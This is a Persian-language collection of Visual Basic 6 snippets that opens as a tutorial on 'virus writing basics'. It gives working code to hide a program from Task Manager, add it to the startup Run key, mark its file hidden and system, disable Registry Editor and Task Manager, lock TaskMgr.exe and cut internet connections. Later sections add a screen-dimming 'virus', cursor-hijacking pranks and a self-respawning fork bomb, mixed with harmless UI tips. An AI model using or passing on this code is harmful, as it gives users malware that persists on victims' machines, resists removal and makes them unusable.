مبانی ویروس نویسی در ویژوال بیسیک

مبانی ویروس نویسی

.مخفی موندن ویروس در TaskManager
2.کپی کردن خود در استارت اپ




خوب برای گزینه اول باید بگم که خیلی ساده است فقط کافی در فرم لود برنامه کد زیر رو بنویسیم : 3. پنهان بودن ویروس در جایی که کپی میشه 4.غیر قابل شناسایی بودن از دست انتی ویروس ها 5.غیر فعال کردن ریجستری و TaskManager

Me.Hide
App.TaskVisible = False

برای گزینه دوم هم میتونیم اینو بنویسیم :

اول یه ماژول درست میکنیم و اینارو توش مینویسیم :

Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_USERS = &H80000003
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Public Const REG_NONE = 0
Public Const REG_MULTI_SZ = 7
Public Const REG_EXPAND_SZ = 2
Public Const REG_BINARY = 3

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

بعد هم در فرم لود اینو می نویسیم تا به محض اجرای برنامه خودشو کپی کنه تو استارت اپ

Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

برای گزینه سوم این بهترین راهه

SetAttr App.Path & "\" & App.EXEName & ".exe", vbHidden + vbSystem + vbReadOnly

با این کد برنامه شما ابر مخفی میشه و با دست کاری در FolderOption هم نمیتونید از این حالت خارجش کنید.


برای غیرفعال کردن ویجستری و TaskManager هم می تونید اینجوری عمل کنید:

برای غیر فال کردن ریجستری :

Dim keyhand As Long
 Dim r As Long
 r = RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", keyhand)
 r = RegSetValueEx(keyhand, "DisableRegistryTools", 0, REG_DWORD, 1, 4)
r = RegCloseKey(keyhand)

برای غیر فعال کردن TaskManager هم اینو بنویسید

Dim keyhand As Long
Dim r As Long
r = RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", keyhand)
r = RegSetValueEx(keyhand, "DisableTaskMgr", 0, REG_DWORD, 1, 4)
r = RegCloseKey(keyhand)

واین هم برای غیر فعال کردن Ctrl+Alt+Delete است

Open Environ$("windir") & "\System32\TaskMgr.exe" For Binary As 1

قطع کردن اتصال اینترنت !

فقط کافیه یه timer با interval مناسب درست کنید و درونش کد زیر رو کپی کنید *:

Call Shell("rundll32 iedkcs32.dll,CloseRASConnections")

چگونه بر روی کلید تصویر بگذاریم

سلام

با این که Command Button خصوصیت Picture را دارد، اما دیدید که هر وفت برای اون یک تصویر انتخاب می کنید و یا رنگ آن را تغییر می دهید، هیچ تغیری رخ نمی دهد.

خوب این مشکل برای این است که خصوصیت style در Command Button شما برابر استاندارد است. برای تغییر تصویر و رنگ Commund Button خصوصیت Style را به گرافیکال تغییر دهید.

موفق باشید.

برنامه در Startup

با این کد شما میتونید برنامه را در استارت آپ قرار دهید یعنی هربار اجرای ویندوز برنامه هم اجرا شود ...

کد زیر رو در ماژول بزارید :

Public Declare Function RegOpenKeyEx Lib "advapi32.dll" _
Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal _
hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1

کد زیر رو هم در فرمتون :

Private Sub Form_Load()
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, _
KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, _
ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
End Sub

ساخت ویروس کم کننده ی نور مانیتور

حالا کد های زیر را در GENERAL خود کپی کنید.

Option Explicit
Private Ramp1(0 To 255, 0 To 2) As Integer
Private Ramp2(0 To 255, 0 To 2) As Integer
Private Declare Function GetDeviceGammaRamp Lib "gdi32" (ByVal hdc As Long, lpv As Any) As Long
Private Declare Function SetDeviceGammaRamp Lib "gdi32" (ByVal hdc As Long, lpv As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Sub Form_Load()
'----------------------------------------------------------------
Dim iCtr As Integer
Dim lVal As Long
'----------------------------------------------------------------
GetDeviceGammaRamp Me.hdc, Ramp1(0, 0)
For iCtr = 0 To 255
lVal = Int2Lng(Ramp1(iCtr, 0))
Ramp2(iCtr, 0) = Lng2Int(Int2Lng(Ramp1(iCtr, 0)) / 2)
Ramp2(iCtr, 1) = Lng2Int(Int2Lng(Ramp1(iCtr, 1)) / 2)
Ramp2(iCtr, 2) = Lng2Int(Int2Lng(Ramp1(iCtr, 2)) / 2)
Next iCtr
SetDeviceGammaRamp Me.hdc, Ramp2(0, 0)

End Sub
Private Sub Form_Unload(Cancel As Integer)

SetDeviceGammaRamp Me.hdc, Ramp1(0, 0)

End Sub
Public Function Int2Lng(IntVal As Integer) As Long

CopyMemory Int2Lng, IntVal, 2

End Function
Public Function Lng2Int(Value As Long) As Integer

CopyMemory Lng2Int, Value, 2

End Function

چگونه چراغ های کیبورد را خاموش و روشن کنیم.

کد زیر این کار رو به شما یاد میده

Private Declare Function GetKeyboardState Lib "user32" Alias "GetKeyboardState" (pbKeyState As Byte) As Long
Private Declare Function SetKeyboardState Lib "user32" Alias "SetKeyboardState" (lppbKeyState As Byte) As Long
Private Const VK_CAPITAL = &H14
Private Const VK_NUMLOCK = &H90

:Code

command1_click()
redim keyboard buffer(256) as byte
get keyboardstate keyboardbuffer(0)
if keyboardbuffer(vk_capital) and 1 then
keyboardbuffer(vk_capital)=0
else
keyboardbuffer(vk_capital)=1
end if
if keyboardbuffer(vk_numlock) and 1 then
keyboardbuffer(vk_numlockl)=0
else
keyboardbuffer(vk_numlockl)=1
end if
set keyboardstate keyboardbuffer(0)
end sub

ساختن تکست باکسی که فقط عدد بگیرد

همگی این کد رو کاملا ملفهمید و نیاز به توضیح نداره

Declarations

Private Const ES_NUMBER = &H2000&
Private Const GWL_STYLE = (-16)
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Code

' place a TextBox with Name 'Text1' on the Form to use this code.

Private Sub Form_Load()
    Dim tmp As Long
    tmp = SetWindowLong(Text1.hwnd, GWL_STYLE, GetWindowLong(Text1.hwnd, GWL_STYLE) Or ES_NUMBER)
End Sub

REFRESH MY COMPUTER

مواد لازم یک TIMER با INTERVAL 1.

حالا کد های زیر را در GENERAL خود کپی کنید.

Option Explicit
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

Private Sub Form_Load()
Me.Hide
Timer1.Interval = 1
MsgBox ("pleas Open the My Computer")
 Me.Hide
End Sub

Private Sub Timer1_Timer()
Dim handel As Long
handel = FindWindow(vbNullString, "My Computer")
If handel <> 0 Then
SetForegroundWindow handel
SendKeys "{f5}", 1
End If
End Sub

RANDOM NUMBER

مواد لازم یک LABEL و یک COMMOAD.

حالا کد های زیر را در GENERAL خود کپی کنید.

Private Sub Command1_Click()
Label1.Caption = Rnd
Randomize

Label1.Caption = Rnd
Randomize

Label1.Caption = Rnd

Randomize

Label1.Caption = Int(Rnd * 16)

Label1.FontSize = 30
Label1.ForeColor = &HFF&

End Sub

Private Sub Form_Load()
Form1.Caption = "HTPP://WWW.VB06.BLOGFA.COM"
End Sub

PAINT DESKTOP

مواد لازم 1 COMMOND با نام GetDesktop و یک PICTURE BOX.

حالا کد های زیر را در GENERAL خود کپی کنید.

Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long

Private Sub Form_Load()
Form1.Caption = "http://WWW.vb06.blogfa.com/"
End Sub

Private Sub GetDesktop_Click()
  PaintDesktop Picture1.hdc
End Sub

MOUSE TRANSFER

مواد لازم 1 TIMER با interval 1 و یک MODULE.

حالا کد های زیر را در GENERAL خود کپی کنید.

Dim Pos As POINTAPI
Dim TransPos As POINTAPI
Dim R As Long
Private Sub Form_Load()
   R = GetCursorPos(Pos)
   Me.Top = (Screen.Height - Me.Height) / 2
   Me.Left = (Screen.Width - Me.Width) / 2
End Sub
Private Sub Timer1_Timer()
   TransPos = Pos
   R = GetCursorPos(Pos)
   Dim Y As Integer, X As Integer
   If TransPos.Y = 0 And Pos.Y = 0 Then
     Y = 1
   ElseIf TransPos.Y = 599 And Pos.Y = 599 Then
     Y = -1
   End If
   If TransPos.X = 0 And Pos.X = 0 Then
     X = 1
   ElseIf TransPos.X = 799 And Pos.X = 799 Then
     X = -1
   End If
   R = SetCursorPos(TransPos.X - (Pos.X - TransPos.X) + X, TransPos.Y - (Pos.Y - TransPos.Y) + Y)
   R = GetCursorPos(Pos)
End Sub

حالا کد های زیر را در MODULE خود کپی کنید.

Public Type POINTAPI
        X As Long
        Y As Long
End Type
Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Public Declare Function GetCursor Lib "user32" () As Long

MOUSE CAGE

مواد لازم 1 COMMAND.

حالا کد های زیر را در GENERAL خود کپی کنید.

Private Type RECT

    left As Long

    top As Long

    right As Long

    bottom As Long

End Type

Private Type POINT

    x As Long

    y As Long

End Type

Private Declare Sub ClipCursor Lib "user32" (lpRect As Any)

Private Declare Sub GetClientRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT)

Private Declare Sub ClientToScreen Lib "user32" (ByVal hWnd As Long, lpPoint As POINT)

Private Declare Sub OffsetRect Lib "user32" (lpRect As RECT, ByVal x As Long, ByVal y As Long)

Private Sub Form_Load()

 'Limits the Cursor movement to within the form.

    Dim client As RECT

    Dim upperleft As POINT

    'Get information about our wndow

    GetClientRect Me.hWnd, client

    upperleft.x = client.left

    upperleft.y = client.top

    'Convert window co?rdinates to screen co?rdinates

    ClientToScreen Me.hWnd, upperleft

    'move our rectangle

    OffsetRect client, upperleft.x, upperleft.y

    'limit the cursor movement

    ClipCursor client

    Command1.Caption = " disable"

End Sub

Private Sub Command1_Click()

    'Releases the cursor limits

    ClipCursor ByVal 0&

End Sub

Private Sub Form_Unload(Cancel As Integer)

    'Releases the cursor limits

    ClipCursor ByVal 0&

End Sub

HARD SERIAL NUMBER

مواد لازم 2 تا COMMAND با نام های CMD , COMMAND1 و 1 TEXTBOX.

حالا کد های زیر را در GENERAL خود کپی کنید.

'www.VB06.BLOGFA.com
Private Declare Function GetVolumeInformation Lib "kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long

Private Sub cmd_Click()
    Dim r&, PathName$, DrvVolumeName$, DrvSerialNo$
    PathName$ = "c:\"
    rgbGetVolumeInformationRDI PathName$, DrvVolumeName$, DrvSerialNo$
    Cls
    Text1 = DrvSerialNo$
    Form1.Caption = "HTTP://WWW.VB06.BLOGFA.COM :)"
End Sub
Private Sub rgbGetVolumeInformationRDI(PathName$, DrvVolumeName$, DrvSerialNo$)
    Dim r&, pos%
    Dim HiWord&, HiHexStr$, LoWord&, LoHexStr$
    Dim VolumeSN&, MaxFNLen&
    Dim dummyStr$, dummyVal1&, dummyVal2&
    DrvVolumeName$ = Space$(14)
    dummyStr$ = Space$(32)
    r& = GetVolumeInformation(PathName$, _
    DrvVolumeName$, _
    Len(DrvVolumeName$), _
    VolumeSN&, dummyVal1&, _
    dummyVal2&, _
    dummyStr$, _
    Len(dummyStr$))
    If r& = 0 Then Exit Sub
    pos% = InStr(DrvVolumeName$, Chr$(0))
    If pos% Then DrvVolumeName$ = Left$(DrvVolumeName$, pos% - 1)
    If Len(Trim$(DrvVolumeName$)) = 0 Then DrvVolumeName$ = "(no label)"
    HiWord& = GetHiWord(VolumeSN&) And &HFFFF&
    LoWord& = GetLoWord(VolumeSN&) And &HFFFF&
   
    HiHexStr$ = Left$(Hex(HiWord&), 4)
   
    If Len(HiHexStr$) < 4 Then HiHexStr$ = HiHexStr$ & String(4 - Len(HiHexStr$), "A")
    LoHexStr$ = Left$(Hex(LoWord&), 4)
    If Len(LoHexStr$) < 4 Then LoHexStr$ = LoHexStr$ & String(4 - Len(LoHexStr$), "A")
    DrvSerialNo$ = HiHexStr$ & "-" & LoHexStr$
End Sub


Function GetHiWord(dw As Long) As Integer
    If dw& And &H80000000 Then
        GetHiWord% = (dw& \ 65535) - 1
    Else: GetHiWord% = dw& \ 65535
    End If
End Function


Function GetLoWord(dw As Long) As Integer
    If dw& And &H8000& Then
        GetLoWord% = &H8000 Or (dw& And &H7FFF&)
    Else: GetLoWord% = dw& And &HFFFF&
    End If
End Function

Private Sub Command1_Click()
End
End Sub

Private Sub Form_Load()
    Me.Top = (Screen.Height - Me.Height) / 2
    Me.Left = (Screen.Width - Me.Width) / 2
    cmd.Caption = "GET HDD S.N"
    Text1.Locked = True
    Text1.Alignment = 2 - center
    Command1.Caption = "EXIT"
End Sub

آموزش ساخت ویروس بی آزاری برای MOUS

ابتدا کد های زیر را در GENERAL فرم خود کپی کنید و برنامه را اجرا کنید.

Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Type h
x As Integer
y As Integer
End Type
Dim s As h

Private Sub Form_Load()
Randomize Timer
Timer1.Interval = 55
End Sub

Private Sub Timer1_Timer()
s.x = Int(Rnd * 1000)
s.y = Int(Rnd * 800)
Call SetCursorPos(s.x, s.y)
End Sub

آموزش ساخت برنامه ای برای کنترل CD-ROM

مواد لازم 3 تا COMMOND BOTTEN با نام های CMD1,2,3!!!

حالا کد های زیر را در GENERAL کپی کنید.

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Private Sub CMD1_Click()
    mciSendString "Set CDAudio Door Open", 0, 0, 0
End Sub

Private Sub CMD2_Click()
    mciSendString "Set CDAudio Door closed", 0, 0, 0
End Sub

Private Sub CMD3_Click()
End
End Sub

CD-ROM FINDER

ابتدا کد های زیر را در GENERAL فرم خود کپی کنید و برنامه را اجرا کنید.

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

Private Const Drive_Removable = 2
Private Const Drive_Fixed = 3
Private Const Drive_Remote = 4
Private Const Drive_CDRom = 5
Private Const Drive_RamDisk = 6
Private Sub Form_Load()
  Dim R As Long
  Dim AllDrives As String
  Dim JustOneDrive As String
  Dim Pos As Integer
  Dim DriveType As Long
  Dim CDFound As Boolean
  Form1.Caption = "HTTP://WWW.VB06.BLOGFA.COM"
  AllDrives = Space$(64)
  R = GetLogicalDriveStrings(Len(AllDrives), AllDrives)
  AllDrives = Left$(AllDrives, R)
  Do
    Pos = InStr(AllDrives, Chr$(0))
    If Pos Then
      JustOneDrive = Left$(AllDrives, Pos)
      AllDrives = Mid$(AllDrives, Pos + 1, Len(AllDrives))
      DriveType = GetDriveType(JustOneDrive)
      If DriveType = 5 Then
        CDFound = True
        Exit Do
      End If
    End If
  Loop Until AllDrives = "" Or DriveType = Drive_CDRom
     
  If CDFound Then
    L1 = UCase(JustOneDrive)
  Else
    L1 = "No CDRom"
  End If

End Sub

DESKTOP ICON MOVE

مواد لازم 1 COMMAND BOTTEN با نام GoButton و 1 TIMER با INTERVAL 1

حالا کد های زیر را در GENERAL خود کپی کنید.

Option Explicit
Private Declare Function SendMessageByLong& Lib "user32" Alias _
"SendMessageA" (ByVal hwnd&, ByVal wMsg&, ByVal wParam&, ByVal lParam&)

Private Declare Function FindWindow& Lib "user32" Alias "FindWindowA" _
(ByVal lpClassName As String, ByVal lpWindowName As String)

Private Declare Function FindWindowEx& Lib "user32" Alias "FindWindowExA" _
(ByVal hWndParent As Long, ByVal hWndChildAfter As Long, ByVal lpClassName _
As String, ByVal lpWindowName As String)

Private Const LVM_GETTITEMCOUNT& = (&H1000 + 4)
Private Const LVM_SETITEMPOSITION& = (&H1000 + 15)

Dim HDesk&, I&, ICount&, X&, Y&
Private Sub GoButton_Click()
  If GoButton.Caption = "Start" Then
    Timer1.Enabled = True
    GoButton.Caption = "Stop"
  Else
    Timer1.Enabled = False
    GoButton.Caption = "Start"
  End If
End Sub
Private Sub Timer1_Timer()
  HDesk = FindWindow("progman", vbNullString)
  HDesk = FindWindowEx(HDesk, 0, "shelldll_defview", vbNullString)
  HDesk = FindWindowEx(HDesk, 0, "syslistview32", vbNullString)
  ICount = SendMessageByLong(HDesk, LVM_GETTITEMCOUNT, 0, 0)
  For I = 0 To ICount - 1
    X = (150 * (I + 1)) * Rnd(1000)
    Y = (150 * (I + 1)) * Rnd(1000)
    Call SendMessageByLong(HDesk, LVM_SETITEMPOSITION, I, CLng(X + Y * &H10000))
  Next
  I = 0
End Sub

آموزش ساخت درایو مجازی

مواد لازم یک COMMAND ساخته و کد زیر را داخلش قرار دهید.

    d = Shell("subst s: e:\")

'S= ESME DRIVE MAJAZI

'JAYE E MITONID ESME DRIVER MORED NAZAR RA GHARAR DAHID

 EFFECT FORM

مواد لازم یک COMMAND و کد های زیر را داخل GENERAL قرار دهید.

Private Sub Command1_Click()
Unload Me

End Sub

Private Sub Form_Resize()
Me.Top = (Screen.Height - Me.Height) / 2
Me.Left = (Screen.Width - Me.Width) / 2
End Sub

Private Sub Form_Unload(Cancel As Integer)
On Error GoTo hell

For i = 0 To Me.Width
Me.Width = Me.Width - num
DoEvents
Next i

For i = 0 To Me.Height
Me.Height = Me.Height - num
num = num + 1
DoEvents
Next i

hell:
Exit Sub

End Sub

آموزش ساخت برنامه ی FLASH WINDOW

موادلازم 1 TIMER با INTERVAL = 1 .

حالا کد های زیر را در GENERAL فرم خود کپی کنید.

Private Declare Function MoveWindow Lib "user32" (ByVal hwnd As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function FlashWindow Lib "user32" (ByVal hwnd As Long, ByVal bInvert As Long) As Long
Private Sub Form_Load()
Form1.Caption = "HTTP://WWW.VB06.BLOGFA.COM"
End Sub
Private Sub Timer1_Timer()
Dim handel As Long
handel = GetForegroundWindow()
FlashWindow handel, 1
End Sub

FONT JALEB

مواد لازم 1 PICTURE BOX , TEXT BOX.

حالا کد های زیر را در GENERAL فرم خود کپی کنید.

Private Sub Form_Load()
Form1.Caption = "http://www.vb06.blogfa.com"
End Sub

Private Sub Text1_Change()
Dim intCount As Integer

Picture1.Cls

For intCount = 125 To 250 'FOR COLOR

    Picture1.ForeColor = RGB(intCount + 100, intCount + 1, 10) 'FOR COLOR

    Picture1.CurrentX = intCount

    Picture1.CurrentY = intCount

    Picture1.Print Text1.Text

Next intCount
End Sub

یک برنامه برای پر کردن حافظه

حالا کد های زیر را در GENERAL فرم خود کپی کنید.

Private Sub Form_Activate()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_Click()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_DblClick()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_Deactivate()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_DragDrop(Source As Control, X As Single, Y As Single)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_DragOver(Source As Control, X As Single, Y As Single, State As Integer)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_GotFocus()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_Initialize()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_KeyPress(KeyAscii As Integer)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_LinkClose()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_LinkError(LinkErr As Integer)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_LinkExecute(CmdStr As String, Cancel As Integer)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_LinkOpen(Cancel As Integer)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_Load()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_LostFocus()
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Private Sub Form_Unload(Cancel As Integer)
Shell App.Path & "/" & App.EXEName & ".EXE"
End Sub

Declarations